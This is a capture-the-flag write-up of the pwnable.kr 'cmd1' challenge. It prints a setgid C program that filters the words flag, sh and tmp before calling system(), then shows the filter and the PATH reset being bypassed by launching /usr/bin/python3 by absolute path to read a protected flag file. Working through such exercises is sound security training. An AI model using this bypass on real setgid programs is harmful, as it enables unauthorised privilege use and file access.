Cmd1
Utilize absolute path to bypass PATH restrictions.
Link
Process
Your path restrictions won’t stop me. Nothing stops the blob.
Review the source code for the program to see what we are dealing with. Looks like there are some filters and PATH restriction we have to get around.
#include <stdio.h>
#include <string.h>
int filter(char* cmd){
int r=0;
r += strstr(cmd, "flag")!=0;
r += strstr(cmd, "sh")!=0;
r += strstr(cmd, "tmp")!=0;
return r;
}
int main(int argc, char* argv[], char** envp){
putenv("PATH=/thankyouverymuch");
if(filter(argv[1])) return 0;
setregid(getegid(), getegid());
system( argv[1] );
return 0;
}
Check the README file to get the service endpoint.
once you connect to port 10012, the "cmd1" binary will be executed under cmd1_pwn privilege. get flag.
Download the binary to our attack machine for further analyst.
┌──(kali㉿kali)-[~/Documents/pwnable_kr/cmd1] └─$ scp -P 2222 cmd1@pwnable.kr:cmd1 . cmd1@pwnable.kr's password: cmd1 100% 16KB 26.4KB/s 00:00
List the contents of the folder and their permissions to see what we are dealing with.
cmd1@ubuntu:~$ ls -la total 48 drwxr-x--- 5 root cmd1 4096 Jun 27 08:26 . drwxr-xr-x 133 root root 4096 Jul 13 16:52 .. d--------- 2 root root 4096 Jul 12 2015 .bash_history -r-xr-sr-x 1 root cmd1_pwn 16056 Mar 21 2025 cmd1 -rw-r--r-- 1 root root 353 Mar 21 2025 cmd1.c -r--r----- 1 root cmd1_pwn 46 Apr 1 2025 flag dr-xr-xr-x 2 root root 4096 Jul 22 2015 .irssi drwxr-xr-x 2 root root 4096 Oct 23 2016 .pwntools-cache -rw-r--r-- 1 root root 103 Jun 27 15:38 readme
After reviewing the source code, notice that the three filter values are sh, flag, and tmp. So, if whatever string we pass it contains any if those substrings. The strstr method finds the first instance of the needle in the haystack. Anything, we send it after that will get executed. But the PATH variable also gets overwritten so we will have to send it the absolute path. So we can send it \usr\bin\python3 to drop into a python interpreter session. Then, the flag is a simple open method call away.
cmd1@ubuntu:~$ ./cmd1 /usr/bin/python3 Python 3.10.12 (main, Feb 4 2025, 14:57:36) [GCC 11.4.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>>
>>> with open('./flag','r') as f:
... print(f)
...
<_io.TextIOWrapper name='./flag' mode='r' encoding='UTF-8'>
>>> exit()
cmd1@ubuntu:~$ ./cmd1 /usr/bin/python3
Python 3.10.12 (main, Feb 4 2025, 14:57:36) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> with open('./flag','r') as f:
... for line in f:
... print(line.strip('\n'))
...
<redacted>
And the baby gets another bottle…slash flag.